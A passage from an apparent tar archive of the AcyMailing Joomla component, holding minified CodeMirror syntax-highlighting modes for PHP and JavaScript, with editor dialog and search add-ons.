ini_get_all ini_set ini_alter ini_restore get_include_path set_include_path restore_include_path setcookie header headers_sent connection_aborted connection_status ignore_user_abort parse_ini_file is_uploaded_file move_uploaded_file intval floatval doubleval strval gettype settype is_null is_resource is_bool is_long is_float is_int is_integer is_double is_real is_numeric is_string is_array is_object is_scalar ereg ereg_replace eregi eregi_replace split spliti join sql_regcase dl pclose popen readfile rewind rmdir umask fclose feof fgetc fgets fgetss fread fopen fpassthru ftruncate fstat fseek ftell fflush fwrite fputs mkdir rename copy tempnam tmpfile file file_get_contents stream_select stream_context_create stream_context_set_params stream_context_set_option stream_context_get_options stream_filter_prepend stream_filter_append fgetcsv flock get_meta_tags stream_set_write_buffer set_file_buffer set_socket_blocking stream_set_blocking socket_set_blocking stream_get_meta_data stream_register_wrapper stream_wrapper_register stream_set_timeout socket_set_timeout socket_get_status realpath fnmatch fsockopen pfsockopen pack unpack get_browser crypt opendir closedir chdir getcwd rewinddir readdir dir glob fileatime filectime filegroup fileinode filemtime fileowner fileperms filesize filetype file_exists is_writable is_writeable is_readable is_executable is_file is_dir is_link stat lstat chown touch clearstatcache mail ob_start ob_flush ob_clean ob_end_flush ob_end_clean ob_get_flush ob_get_clean ob_get_length ob_get_level ob_get_status ob_get_contents ob_implicit_flush ob_list_handlers ksort krsort natsort natcasesort asort arsort sort rsort usort uasort uksort shuffle array_walk count end prev next reset current key min max in_array array_search extract compact array_fill range array_multisort array_push array_pop array_shift array_unshift array_splice array_slice array_merge array_merge_recursive array_keys array_values array_count_values array_reverse array_reduce array_pad array_flip array_change_key_case array_rand array_unique array_intersect array_intersect_assoc array_diff array_diff_assoc array_sum array_filter array_map array_chunk array_key_exists pos sizeof key_exists assert assert_options version_compare ftok str_rot13 aggregate session_name session_module_name session_save_path session_id session_regenerate_id session_decode session_register session_unregister session_is_registered session_encode session_start session_destroy session_unset session_set_save_handler session_cache_limiter session_cache_expire session_set_cookie_params session_get_cookie_params session_write_close preg_match preg_match_all preg_replace preg_replace_callback preg_split preg_quote preg_grep overload ctype_alnum ctype_alpha ctype_cntrl ctype_digit ctype_lower ctype_graph ctype_print ctype_punct ctype_space ctype_upper ctype_xdigit virtual apache_request_headers apache_note apache_lookup_uri apache_child_terminate apache_setenv apache_response_headers apache_get_version getallheaders mysql_connect mysql_pconnect mysql_close mysql_select_db mysql_create_db mysql_drop_db mysql_query mysql_unbuffered_query mysql_db_query mysql_list_dbs mysql_list_tables mysql_list_fields mysql_list_processes mysql_error mysql_errno mysql_affected_rows mysql_insert_id mysql_result mysql_num_rows mysql_num_fields mysql_fetch_row mysql_fetch_array mysql_fetch_assoc mysql_fetch_object mysql_data_seek mysql_fetch_lengths mysql_fetch_field mysql_field_seek mysql_free_result mysql_field_name mysql_field_table mysql_field_len mysql_field_type mysql_field_flags mysql_escape_string mysql_real_escape_string mysql_stat mysql_thread_id mysql_client_encoding mysql_get_client_info mysql_get_host_info mysql_get_proto_info mysql_get_server_info mysql_info mysql mysql_fieldname mysql_fieldtable mysql_fieldlen mysql_fieldtype mysql_fieldflags mysql_selectdb mysql_createdb mysql_dropdb mysql_freeresult mysql_numfields mysql_numrows mysql_listdbs mysql_listtables mysql_listfields mysql_db_name mysql_dbname mysql_tablename mysql_table_name pg_connect pg_pconnect pg_close pg_connection_status pg_connection_busy pg_connection_reset pg_host pg_dbname pg_port pg_tty pg_options pg_ping pg_query pg_send_query pg_cancel_query pg_fetch_result pg_fetch_row pg_fetch_assoc pg_fetch_array pg_fetch_object pg_fetch_all pg_affected_rows pg_get_result pg_result_seek pg_result_status pg_free_result pg_last_oid pg_num_rows pg_num_fields pg_field_name pg_field_num pg_field_size pg_field_type pg_field_prtlen pg_field_is_null pg_get_notify pg_get_pid pg_result_error pg_last_error pg_last_notice pg_put_line pg_end_copy pg_copy_to pg_copy_from pg_trace pg_untrace pg_lo_create pg_lo_unlink pg_lo_open pg_lo_close pg_lo_read pg_lo_write pg_lo_read_all pg_lo_import pg_lo_export pg_lo_seek pg_lo_tell pg_escape_string pg_escape_bytea pg_unescape_bytea pg_client_encoding pg_set_client_encoding pg_meta_data pg_convert pg_insert pg_update pg_delete pg_select pg_exec pg_getlastoid pg_cmdtuples pg_errormessage pg_numrows pg_numfields pg_fieldname pg_fieldsize pg_fieldtype pg_fieldnum pg_fieldprtlen pg_fieldisnull pg_freeresult pg_result pg_loreadall pg_locreate pg_lounlink pg_loopen pg_loclose pg_loread pg_lowrite pg_loimport pg_loexport http_response_code get_declared_traits getimagesizefromstring socket_import_stream stream_set_chunk_size trait_exists header_register_callback class_uses session_status session_register_shutdown echo print global static exit array empty eval isset unset die include require include_once require_once json_decode json_encode json_last_error json_last_error_msg curl_close curl_copy_handle curl_errno curl_error curl_escape curl_exec curl_file_create curl_getinfo curl_init curl_multi_add_handle curl_multi_close curl_multi_exec curl_multi_getcontent curl_multi_info_read curl_multi_init curl_multi_remove_handle curl_multi_select curl_multi_setopt curl_multi_strerror curl_pause curl_reset curl_setopt_array curl_setopt curl_share_close curl_share_init curl_share_setopt curl_strerror curl_unescape curl_version mysqli_affected_rows mysqli_autocommit mysqli_change_user mysqli_character_set_name mysqli_close mysqli_commit mysqli_connect_errno mysqli_connect_error mysqli_connect mysqli_data_seek mysqli_debug mysqli_dump_debug_info mysqli_errno mysqli_error_list mysqli_error mysqli_fetch_all mysqli_fetch_array mysqli_fetch_assoc mysqli_fetch_field_direct mysqli_fetch_field mysqli_fetch_fields mysqli_fetch_lengths mysqli_fetch_object mysqli_fetch_row mysqli_field_count mysqli_field_seek mysqli_field_tell mysqli_free_result mysqli_get_charset mysqli_get_client_info mysqli_get_client_stats mysqli_get_client_version mysqli_get_connection_stats mysqli_get_host_info mysqli_get_proto_info mysqli_get_server_info mysqli_get_server_version mysqli_info mysqli_init mysqli_insert_id mysqli_kill mysqli_more_results mysqli_multi_query mysqli_next_result mysqli_num_fields mysqli_num_rows mysqli_options mysqli_ping mysqli_prepare mysqli_query mysqli_real_connect mysqli_real_escape_string mysqli_real_query mysqli_reap_async_query mysqli_refresh mysqli_rollback mysqli_select_db mysqli_set_charset mysqli_set_local_infile_default mysqli_set_local_infile_handler mysqli_sqlstate mysqli_ssl_set mysqli_stat mysqli_stmt_init mysqli_store_result mysqli_thread_id mysqli_thread_safe mysqli_use_result mysqli_warning_count";d.registerHelper("hintWords","php",[h,i,a].join(" ").split(" "));d.registerHelper("wordChars","php",/[\w$]/);var g={name:"clike",helperType:"php",keywords:f(h),blockKeywords:f("catch do else elseif for foreach if switch try while finally"),defKeywords:f("class function interface namespace trait"),atoms:f(i),builtin:f(a),multiLineStrings:true,hooks:{"$":function(j){j.eatWhile(/[\w\$_]/);return"variable-2"},"<":function(m,k){if(m.match(/<</)){var j=m.eat("'");m.eatWhile(/[\w\.]/);var l=m.current().slice(3+(j?1:0));if(j){m.eat("'")}if(l){(k.tokStack||(k.tokStack=[])).push(l,0);k.tokenize=b(l,j?false:true);return"string"}}return false},"#":function(j){while(!j.eol()&&!j.match("?>",false)){j.next()}return"comment"},"/":function(j){if(j.eat("/")){while(!j.eol()&&!j.match("?>",false)){j.next()}return"comment"}return false},'"':function(j,k){(k.tokStack||(k.tokStack=[])).push('"',0);k.tokenize=b('"');return"string"},"{":function(j,k){if(k.tokStack&&k.tokStack.length){k.tokStack[k.tokStack.length-1]++}return false},"}":function(j,k){if(k.tokStack&&k.tokStack.length>0&&!--k.tokStack[k.tokStack.length-1]){k.tokenize=b(k.tokStack[k.tokStack.length-2])}return false}}};d.defineMode("php",function(l,m){var n=d.getMode(l,"text/html");var j=d.getMode(l,g);function k(u,s){var r=s.curMode==j;if(u.sol()&&s.pending&&s.pending!='"'&&s.pending!="'"){s.pending=null}if(!r){if(u.match(/^<\?\w*/)){s.curMode=j;s.curState=s.php;return"meta"}if(s.pending=='"'||s.pending=="'"){while(!u.eol()&&u.next()!=s.pending){}var q="string"}else{if(s.pending&&u.pos<s.pending.end){u.pos=s.pending.end;var q=s.pending.style}else{var q=n.token(u,s.curState)}}if(s.pending){s.pending=null}var t=u.current(),p=t.search(/<\?/),o;if(p!=-1){if(q=="string"&&(o=t.match(/[\'\"]$/))&&!/\?>/.test(t)){s.pending=o[0]}else{s.pending={end:u.pos,style:q}}u.backUp(t.length-p)}return q}else{if(r&&s.php.tokenize==null&&u.match("?>")){s.curMode=n;s.curState=s.html;return"meta"}else{return j.token(u,s.curState)}}}return{startState:function(){var o=d.startState(n),p=d.startState(j);return{html:o,php:p,curMode:m.startOpen?j:n,curState:m.startOpen?p:o,pending:null}},copyState:function(r){var p=r.html,q=d.copyState(n,p),t=r.php,o=d.copyState(j,t),s;if(r.curMode==n){s=q}else{s=o}return{html:q,php:o,curMode:r.curMode,curState:s,pending:r.pending}},token:k,indent:function(p,o){if((p.curMode!=j&&/^\s*<\//.test(o))||(p.curMode==j&&/^\?>/.test(o))){return n.indent(p.html,o)}return p.curMode.indent(p.curState,o)},blockCommentStart:"/*",blockCommentEnd:"*/",lineComment:"//",innerMode:function(o){return{state:o.curState,mode:o.curMode}}}},"htmlmixed","clike");d.defineMIME("application/x-httpd-php","php");d.defineMIME("application/x-httpd-php-open",{name:"php",startOpen:true});d.defineMIME("text/x-php",g)});extensions/plg_editors_acyeditor/acyeditor/ckeditor/plugins/codemirror/js/codemirror.mode.j000060400000034312152455305300031512 0ustar00com_acymailing(function(a){if(typeof exports=="object"&&typeof module=="object"){a(require("../../lib/codemirror"))}else{if(typeof define=="function"&&define.amd){define(["../../lib/codemirror"],a)}else{a(CodeMirror)}}})(function(a){a.defineMode("javascript",function(Z,aj){var l=Z.indentUnit;var A=aj.statementIndent;var aB=aj.jsonld;var z=aj.json||aB;var g=aj.typescript;var au=aj.wordCharacters||/[\w$\xa1-\uffff]/;var ar=function(){function aR(aT){return{type:aT,style:"keyword"}}var aM=aR("keyword a"),aK=aR("keyword b"),aJ=aR("keyword c");var aL=aR("operator"),aP={type:"atom",style:"atom"};var aN={"if":aR("if"),"while":aM,"with":aM,"else":aK,"do":aK,"try":aK,"finally":aK,"return":aJ,"break":aJ,"continue":aJ,"new":aJ,"delete":aJ,"throw":aJ,"debugger":aJ,"var":aR("var"),"const":aR("var"),let:aR("var"),"function":aR("function"),"catch":aR("catch"),"for":aR("for"),"switch":aR("switch"),"case":aR("case"),"default":aR("default"),"in":aL,"typeof":aL,"instanceof":aL,"true":aP,"false":aP,"null":aP,"undefined":aP,"NaN":aP,"Infinity":aP,"this":aR("this"),module:aR("module"),"class":aR("class"),"super":aR("atom"),yield:aJ,"export":aR("export"),"import":aR("import"),"extends":aJ};if(g){var aS={type:"variable",style:"variable-3"};var aO={"interface":aR("interface"),"extends":aR("extends"),constructor:aR("constructor"),"public":aR("public"),"private":aR("private"),"protected":aR("protected"),"static":aR("static"),string:aS,number:aS,bool:aS,any:aS};for(var aQ in aO){aN[aQ]=aO[aQ]}}return aN}();var P=/[+\-*&%=<>!?|~^]/;var aq=/^@(context|id|value|language|type|container|list|set|reverse|index|base|vocab|graph)"/;function F(aM){var aK=false,aJ,aL=false;while((aJ=aM.next())!=null){if(!aK){if(aJ=="/"&&!aL){return}if(aJ=="["){aL=true}else{if(aL&&aJ=="]"){aL=false}}}aK=!aK&&aJ=="\\"}}var S,G;function L(aL,aK,aJ){S=aL;G=aJ;return aK}function U(aN,aL){var aJ=aN.next();if(aJ=='"'||aJ=="'"){aL.tokenize=R(aJ);return aL.tokenize(aN,aL)}else{if(aJ=="."&&aN.match(/^\d+(?:[eE][+\-]?\d+)?/)){return L("number","number")}else{if(aJ=="."&&aN.match("..")){return L("spread","meta")}else{if(/[\[\]{}\(\),;\:\.]/.test(aJ)){return L(aJ)}else{if(aJ=="="&&aN.eat(">")){return L("=>","operator")}else{if(aJ=="0"&&aN.eat(/x/i)){aN.eatWhile(/[\da-f]/i);return L("number","number")}else{if(/\d/.test(aJ)){aN.match(/^\d*(?:\.\d*)?(?:[eE][+\-]?\d+)?/);return L("number","number")}else{if(aJ=="/"){if(aN.eat("*")){aL.tokenize=aA;return aA(aN,aL)}else{if(aN.eat("/")){aN.skipToEnd();return L("comment","comment")}else{if(aL.lastType=="operator"||aL.lastType=="keyword c"||aL.lastType=="sof"||/^[\[{}\(,;:]$/.test(aL.lastType)){F(aN);aN.match(/^\b(([gimyu])(?![gimyu]*\2))+\b/);return L("regexp","string-2")}else{aN.eatWhile(P);return L("operator","operator",aN.current())}}}}else{if(aJ=="`"){aL.tokenize=aC;return aC(aN,aL)}else{if(aJ=="#"){aN.skipToEnd();return L("error","error")}else{if(P.test(aJ)){aN.eatWhile(P);return L("operator","operator",aN.current())}else{if(au.test(aJ)){aN.eatWhile(au);var aM=aN.current(),aK=ar.propertyIsEnumerable(aM)&&ar[aM];return(aK&&aL.lastType!=".")?L(aK.type,aK.style,aM):L("variable","variable",aM)}}}}}}}}}}}}}function R(aJ){return function(aN,aL){var aM=false,aK;if(aB&&aN.peek()=="@"&&aN.match(aq)){aL.tokenize=U;return L("jsonld-keyword","meta")}while((aK=aN.next())!=null){if(aK==aJ&&!aM){break}aM=!aM&&aK=="\\"}if(!aM){aL.tokenize=U}return L("string","string")}}function aA(aM,aL){var aJ=false,aK;while(aK=aM.next()){if(aK=="/"&&aJ){aL.tokenize=U;break}aJ=(aK=="*")}return L("comment","comment")}function aC(aM,aK){var aL=false,aJ;while((aJ=aM.next())!=null){if(!aL&&(aJ=="`"||aJ=="$"&&aM.eat("{"))){aK.tokenize=U;break}aL=!aL&&aJ=="\\"}return L("quasi","string-2",aM.current())}var m="([{}])";function ax(aP,aM){if(aM.fatArrowAt){aM.fatArrowAt=null}var aL=aP.string.indexOf("=>",aP.start);if(aL<0){return}var aO=0,aK=false;for(var aQ=aL-1;aQ>=0;--aQ){var aJ=aP.string.charAt(aQ);var aN=m.indexOf(aJ);if(aN>=0&&aN<3){if(!aO){++aQ;break}if(--aO==0){break}}else{if(aN>=3&&aN<6){++aO}else{if(au.test(aJ)){aK=true}else{if(/["'\/]/.test(aJ)){return}else{if(aK&&!aO){++aQ;break}}}}}}if(aK&&!aO){aM.fatArrowAt=aQ}}var b={atom:true,number:true,variable:true,string:true,regexp:true,"this":true,"jsonld-keyword":true};function J(aO,aK,aJ,aN,aL,aM){this.indented=aO;this.column=aK;this.type=aJ;this.prev=aL;this.info=aM;if(aN!=null){this.align=aN}}function s(aM,aL){for(var aK=aM.localVars;aK;aK=aK.next){if(aK.name==aL){return true}}for(var aJ=aM.context;aJ;aJ=aJ.prev){for(var aK=aJ.vars;aK;aK=aK.next){if(aK.name==aL){return true}}}}function f(aN,aK,aJ,aM,aO){var aP=aN.cc;D.state=aN;D.stream=aO;D.marked=null,D.cc=aP;D.style=aK;if(!aN.lexical.hasOwnProperty("align")){aN.lexical.align=true}while(true){var aL=aP.length?aP.pop():z?an:aH;if(aL(aJ,aM)){while(aP.length&&aP[aP.length-1].lex){aP.pop()()}if(D.marked){return D.marked}if(aJ=="variable"&&s(aN,aM)){return"variable-2"}return aK}}}var D={state:null,column:null,marked:null,cc:null};function aa(){for(var aJ=arguments.length-1;aJ>=0;aJ--){D.cc.push(arguments[aJ])}}function ae(){aa.apply(null,arguments);return true}function aw(aK){function aJ(aN){for(var aM=aN;aM;aM=aM.next){if(aM.name==aK){return true}}return false}var aL=D.state;if(aL.context){D.marked="def";if(aJ(aL.localVars)){return}aL.localVars={name:aK,next:aL.localVars}}else{if(aJ(aL.globalVars)){return}if(aj.globalVars){aL.globalVars={name:aK,next:aL.globalVars}}}}var q={name:"this",next:{name:"arguments"}};function w(){D.state.context={prev:D.state.context,vars:D.state.localVars};D.state.localVars=q}function x(){D.state.localVars=D.state.context.vars;D.state.context=D.state.context.prev}function aF(aK,aL){var aJ=function(){var aO=D.state,aM=aO.indented;if(aO.lexical.type=="stat"){aM=aO.lexical.indented}else{for(var aN=aO.lexical;aN&&aN.type==")"&&aN.align;aN=aN.prev){aM=aN.indented}}aO.lexical=new J(aM,D.stream.column(),aK,null,aO.lexical,aL)};aJ.lex=true;return aJ}function h(){var aJ=D.state;if(aJ.lexical.prev){if(aJ.lexical.type==")"){aJ.indented=aJ.lexical.indented}aJ.lexical=aJ.lexical.prev}}h.lex=true;function r(aJ){function aK(aL){if(aL==aJ){return ae()}else{if(aJ==";"){return aa()}else{return ae(aK)}}}return aK}function aH(aJ,aK){if(aJ=="var"){return ae(aF("vardef",aK.length),d,r(";"),h)}if(aJ=="keyword a"){return ae(aF("form"),an,aH,h)}if(aJ=="keyword b"){return ae(aF("form"),aH,h)}if(aJ=="{"){return ae(aF("}"),y,h)}if(aJ==";"){return ae()}if(aJ=="if"){if(D.state.lexical.info=="else"&&D.state.cc[D.state.cc.length-1]==h){D.state.cc.pop()()}return ae(aF("form"),an,aH,h,e)}if(aJ=="function"){return ae(M)}if(aJ=="for"){return ae(aF("form"),u,aH,h)}if(aJ=="variable"){return ae(aF("stat"),aI)}if(aJ=="switch"){return ae(aF("form"),an,aF("}","switch"),r("{"),y,h,h)}if(aJ=="case"){return ae(an,r(":"))}if(aJ=="default"){return ae(r(":"))}if(aJ=="catch"){return ae(aF("form"),w,r("("),af,r(")"),aH,h,x)}if(aJ=="module"){return ae(aF("form"),w,H,x,h)}if(aJ=="class"){return ae(aF("form"),V,h)}if(aJ=="export"){return ae(aF("form"),aG,h)}if(aJ=="import"){return ae(aF("form"),ag,h)}return aa(aF("stat"),an,r(";"),h)}function an(aJ){return Y(aJ,false)}function aE(aJ){return Y(aJ,true)}function Y(aK,aM){if(D.state.fatArrowAt==D.stream.start){var aJ=aM?N:W;if(aK=="("){return ae(w,aF(")"),at(i,")"),h,r("=>"),aJ,x)}else{if(aK=="variable"){return aa(w,i,r("=>"),aJ,x)}}}var aL=aM?j:ab;if(b.hasOwnProperty(aK)){return ae(aL)}if(aK=="function"){return ae(M,aL)}if(aK=="keyword c"){return ae(aM?ak:ai)}if(aK=="("){return ae(aF(")"),ai,az,r(")"),h,aL)}if(aK=="operator"||aK=="spread"){return ae(aM?aE:an)}if(aK=="["){return ae(aF("]"),n,h,aL)}if(aK=="{"){return ay(t,"}",null,aL)}if(aK=="quasi"){return aa(Q,aL)}return ae()}function ai(aJ){if(aJ.match(/[;\}\)\],]/)){return aa()}return aa(an)}function ak(aJ){if(aJ.match(/[;\}\)\],]/)){return aa()}return aa(aE)}function ab(aJ,aK){if(aJ==","){return ae(an)}return j(aJ,aK,false)}function j(aJ,aL,aN){var aK=aN==false?ab:j;var aM=aN==false?an:aE;if(aJ=="=>"){return ae(w,aN?N:W,x)}if(aJ=="operator"){if(/\+\+|--/.test(aL)){return ae(aK)}if(aL=="?"){return ae(an,r(":"),aM)}return ae(aM)}if(aJ=="quasi"){return aa(Q,aK)}if(aJ==";"){return}if(aJ=="("){return ay(aE,")","call",aK)}if(aJ=="."){return ae(al,aK)}if(aJ=="["){return ae(aF("]"),ai,r("]"),h,aK)}}function Q(aJ,aK){if(aJ!="quasi"){return aa()}if(aK.slice(aK.length-2)!="${"){return ae(Q)}return ae(an,p)}function p(aJ){if(aJ=="}"){D.marked="string-2";D.state.tokenize=aC;return ae(Q)}}function W(aJ){ax(D.stream,D.state);return aa(aJ=="{"?aH:an)}function N(aJ){ax(D.stream,D.state);return aa(aJ=="{"?aH:aE)}function aI(aJ){if(aJ==":"){return ae(h,aH)}return aa(ab,r(";"),h)}function al(aJ){if(aJ=="variable"){D.marked="property";return ae()}}function t(aJ,aK){if(aJ=="variable"||D.style=="keyword"){D.marked="property";if(aK=="get"||aK=="set"){return ae(I)}return ae(K)}else{if(aJ=="number"||aJ=="string"){D.marked=aB?"property":(D.style+" property");return ae(K)}else{if(aJ=="jsonld-keyword"){return ae(K)}else{if(aJ=="["){return ae(an,r("]"),K)}}}}}function I(aJ){if(aJ!="variable"){return aa(K)}D.marked="property";return ae(M)}function K(aJ){if(aJ==":"){return ae(aE)}if(aJ=="("){return aa(M)}}function at(aL,aJ){function aK(aN){if(aN==","){var aM=D.state.lexical;if(aM.info=="call"){aM.pos=(aM.pos||0)+1}return ae(aL,aK)}if(aN==aJ){return ae()}return ae(r(aJ))}return function(aM){if(aM==aJ){return ae()}return aa(aL,aK)}}function ay(aM,aJ,aL){for(var aK=3;aK<arguments.length;aK++){D.cc.push(arguments[aK])}return ae(aF(aJ,aL),at(aM,aJ),h)}function y(aJ){if(aJ=="}"){return ae()}return aa(aH,y)}function T(aJ){if(g&&aJ==":"){return ae(ad)}}function av(aJ,aK){if(aK=="="){return ae(aE)}}function ad(aJ){if(aJ=="variable"){D.marked="variable-3";return ae()}}function d(){return aa(i,T,ac,X)}function i(aJ,aK){if(aJ=="variable"){aw(aK);return ae()}if(aJ=="["){return ay(i,"]")}if(aJ=="{"){return ay(aD,"}")}}function aD(aJ,aK){if(aJ=="variable"&&!D.stream.match(/^\s*:/,false)){aw(aK);return ae(ac)}if(aJ=="variable"){D.marked="property"}return ae(r(":"),i,ac)}function ac(aJ,aK){if(aK=="="){return ae(aE)}}function X(aJ){if(aJ==","){return ae(d)}}function e(aJ,aK){if(aJ=="keyword b"&&aK=="else"){return ae(aF("form","else"),aH,h)}}function u(aJ){if(aJ=="("){return ae(aF(")"),E,r(")"),h)}}function E(aJ){if(aJ=="var"){return ae(d,r(";"),C)}if(aJ==";"){return ae(C)}if(aJ=="variable"){return ae(v)}return aa(an,r(";"),C)}function v(aJ,aK){if(aK=="in"||aK=="of"){D.marked="keyword";return ae(an)}return ae(ab,C)}function C(aJ,aK){if(aJ==";"){return ae(B)}if(aK=="in"||aK=="of"){D.marked="keyword";return ae(an)}return aa(an,r(";"),B)}function B(aJ){if(aJ!=")"){ae(an)}}function M(aJ,aK){if(aK=="*"){D.marked="keyword";return ae(M)}if(aJ=="variable"){aw(aK);return ae(M)}if(aJ=="("){return ae(w,aF(")"),at(af,")"),h,aH,x)}}function af(aJ){if(aJ=="spread"){return ae(af)}return aa(i,T,av)}function V(aJ,aK){if(aJ=="variable"){aw(aK);return ae(O)}}function O(aJ,aK){if(aK=="extends"){return ae(an,O)}if(aJ=="{"){return ae(aF("}"),o,h)}}function o(aJ,aK){if(aJ=="variable"||D.style=="keyword"){if(aK=="static"){D.marked="keyword";return ae(o)}D.marked="property";if(aK=="get"||aK=="set"){return ae(c,M,o)}return ae(M,o)}if(aK=="*"){D.marked="keyword";return ae(o)}if(aJ==";"){return ae(o)}if(aJ=="}"){return ae()}}function c(aJ){if(aJ!="variable"){return aa()}D.marked="property";return ae()}function H(aJ,aK){if(aJ=="string"){return ae(aH)}if(aJ=="variable"){aw(aK);return ae(ah)}}function aG(aJ,aK){if(aK=="*"){D.marked="keyword";return ae(ah,r(";"))}if(aK=="default"){D.marked="keyword";return ae(an,r(";"))}return aa(aH)}function ag(aJ){if(aJ=="string"){return ae()}return aa(ap,ah)}function ap(aJ,aK){if(aJ=="{"){return ay(ap,"}")}if(aJ=="variable"){aw(aK)}if(aK=="*"){D.marked="keyword"}return ae(k)}function k(aJ,aK){if(aK=="as"){D.marked="keyword";return ae(ap)}}function ah(aJ,aK){if(aK=="from"){D.marked="keyword";return ae(an)}}function n(aJ){if(aJ=="]"){return ae()}return aa(aE,am)}function am(aJ){if(aJ=="for"){return aa(az,r("]"))}if(aJ==","){return ae(at(ak,"]"))}return aa(at(aE,"]"))}function az(aJ){if(aJ=="for"){return ae(u,az)}if(aJ=="if"){return ae(an,az)}}function ao(aK,aJ){return aK.lastType=="operator"||aK.lastType==","||P.test(aJ.charAt(0))||/[,.]/.test(aJ.charAt(0))}return{startState:function(aK){var aJ={tokenize:U,lastType:"sof",cc:[],lexical:new J((aK||0)-l,0,"block",false),localVars:aj.localVars,context:aj.localVars&&{vars:aj.localVars},indented:0};if(aj.globalVars&&typeof aj.globalVars=="object"){aJ.globalVars=aj.globalVars}return aJ},token:function(aL,aK){if(aL.sol()){if(!aK.lexical.hasOwnProperty("align")){aK.lexical.align=false}aK.indented=aL.indentation();ax(aL,aK)}if(aK.tokenize!=aA&&aL.eatSpace()){return null}var aJ=aK.tokenize(aL,aK);if(S=="comment"){return aJ}aK.lastType=S=="operator"&&(G=="++"||G=="--")?"incdec":S;return f(aK,aJ,S,G,aL)},indent:function(aP,aJ){if(aP.tokenize==aA){return a.Pass}if(aP.tokenize!=U){return 0}var aO=aJ&&aJ.charAt(0),aM=aP.lexical;if(!/^\s*else\b/.test(aJ)){for(var aL=aP.cc.length-1;aL>=0;--aL){var aQ=aP.cc[aL];if(aQ==h){aM=aM.prev}else{if(aQ!=e){break}}}}if(aM.type=="stat"&&aO=="}"){aM=aM.prev}if(A&&aM.type==")"&&aM.prev.type=="stat"){aM=aM.prev}var aN=aM.type,aK=aO==aN;if(aN=="vardef"){return aM.indented+(aP.lastType=="operator"||aP.lastType==","?aM.info+1:0)}else{if(aN=="form"&&aO=="{"){return aM.indented}else{if(aN=="form"){return aM.indented+l}else{if(aN=="stat"){return aM.indented+(ao(aP,aJ)?A||l:0)}else{if(aM.info=="switch"&&!aK&&aj.doubleIndentSwitch!=false){return aM.indented+(/^(?:case|default)\b/.test(aJ)?l:2*l)}else{if(aM.align){return aM.column+(aK?0:1)}else{return aM.indented+(aK?0:l)}}}}}}},electricInput:/^\s*(?:case .*?:|default:|\{|\})$/,blockCommentStart:z?null:"/*",blockCommentEnd:z?null:"*/",lineComment:z?null:"//",fold:"brace",closeBrackets:"()[]{}''\"\"``",helperType:z?"json":"javascript",jsonldMode:aB,jsonMode:z}});a.registerHelper("wordChars","javascript",/[\w$]/);a.defineMIME("text/javascript","javascript");a.defineMIME("text/ecmascript","javascript");a.defineMIME("application/javascript","javascript");a.defineMIME("application/x-javascript","javascript");a.defineMIME("application/ecmascript","javascript");a.defineMIME("application/json",{name:"javascript",json:true});a.defineMIME("application/x-json",{name:"javascript",json:true});a.defineMIME("application/ld+json",{name:"javascript",jsonld:true});a.defineMIME("text/typescript",{name:"javascript",typescript:true});a.defineMIME("application/typescript",{name:"javascript",typescript:true})});
com_acymailing/extensions/plg_editors_acyeditor/acyeditor/ckeditor/plugins/codemirror/js/index.html000060400000000054152455305300030317 0ustar00<html><body bgcolor="#FFFFFF"></body></html>extensions/plg_editors_acyeditor/acyeditor/ckeditor/plugins/codemirror/js/codemirror.addons000060400000021764152455305300031615 0ustar00com_acymailing(function(n){typeof exports=="object"&&typeof module=="object"?n(require("../../lib/codemirror")):typeof define=="function"&&define.amd?define(["../../lib/codemirror"],n):n(CodeMirror)})(function(n){function t(n,t,i){var u=n.getWrapperElement(),r;return r=u.appendChild(document.createElement("div")),r.className=i?"CodeMirror-dialog CodeMirror-dialog-bottom":"CodeMirror-dialog CodeMirror-dialog-top",typeof t=="string"?r.innerHTML=t:r.appendChild(t),r}function i(n,t){n.state.currentNotificationClose&&n.state.currentNotificationClose();n.state.currentNotificationClose=t}n.defineExtension("openDialog",function(r,u,f){function o(n){if(typeof n=="string")e.value=n;else{if(c)return;if(c=!0,s.parentNode.removeChild(s),l.focus(),f.onClose)f.onClose(s)}}var e,h;f||(f={});i(this,null);var s=t(this,r,f.bottom),c=!1,l=this;if(e=s.getElementsByTagName("input")[0],e){if(f.value&&(e.value=f.value,f.selectValueOnOpen!==!1&&e.select()),f.onInput)n.on(e,"input",function(n){f.onInput(n,e.value,o)});if(f.onKeyUp)n.on(e,"keyup",function(n){f.onKeyUp(n,e.value,o)});n.on(e,"keydown",function(t){f&&f.onKeyDown&&f.onKeyDown(t,e.value,o)||((t.keyCode==27||f.closeOnEnter!==!1&&t.keyCode==13)&&(e.blur(),n.e_stop(t),o()),t.keyCode==13&&u(e.value,t))});if(f.closeOnBlur!==!1)n.on(e,"blur",o);e.focus()}else if(h=s.getElementsByTagName("button")[0]){n.on(h,"click",function(){o();l.focus()});if(f.closeOnBlur!==!1)n.on(h,"blur",o);h.focus()}return o});n.defineExtension("openConfirm",function(r,u,f){function v(){l||(l=!0,s.parentNode.removeChild(s),a.focus())}var e,o;i(this,null);var s=t(this,r,f&&f.bottom),h=s.getElementsByTagName("button"),l=!1,a=this,c=1;for(h[0].focus(),e=0;e<h.length;++e){o=h[e],function(t){n.on(o,"click",function(i){n.e_preventDefault(i);v();t&&t(a)})}(u[e]);n.on(o,"blur",function(){--c;setTimeout(function(){c<=0&&v()},200)});n.on(o,"focus",function(){++c})}});n.defineExtension("openNotification",function(r,u){function f(){o||(o=!0,clearTimeout(s),e.parentNode.removeChild(e))}i(this,f);var e=t(this,r,u&&u.bottom),o=!1,s,h=u&&typeof u.duration!="undefined"?u.duration:5e3;n.on(e,"click",function(t){n.e_preventDefault(t);f()});return h&&(s=setTimeout(f,h)),f})}),function(n){typeof exports=="object"&&typeof module=="object"?n(require("../../lib/codemirror"),require("./searchcursor"),require("../dialog/dialog")):typeof define=="function"&&define.amd?define(["../../lib/codemirror","./searchcursor","../dialog/dialog"],n):n(CodeMirror)}(function(n){"use strict";function c(n,t){return typeof n=="string"?n=new RegExp(n.replace(/[\-\[\]\/\{\}\(\)\*\+\?\.\\\^\$\|]/g,"\\$&"),t?"gi":"g"):n.global||(n=new RegExp(n.source,n.ignoreCase?"gi":"g")),{token:function(t){n.lastIndex=t.pos;var i=n.exec(t.string);if(i&&i.index==t.pos)return t.pos+=i[0].length,"searching";i?t.pos=i.index:t.skipToEnd()}}}function l(){this.posFrom=this.posTo=this.lastQuery=this.query=null;this.overlay=null}function i(n){return n.state.search||(n.state.search=new l)}function r(n){return typeof n=="string"&&n==n.toLowerCase()}function t(n,t,i){return n.getSearchCursor(t,i,r(t))}function u(n,t,i,r,u){n.openDialog?n.openDialog(t,u,{value:r,selectValueOnOpen:!0}):u(prompt(i,r))}function a(n,t,i,r){n.openConfirm?n.openConfirm(t,r):confirm(i)&&r[0]()}function 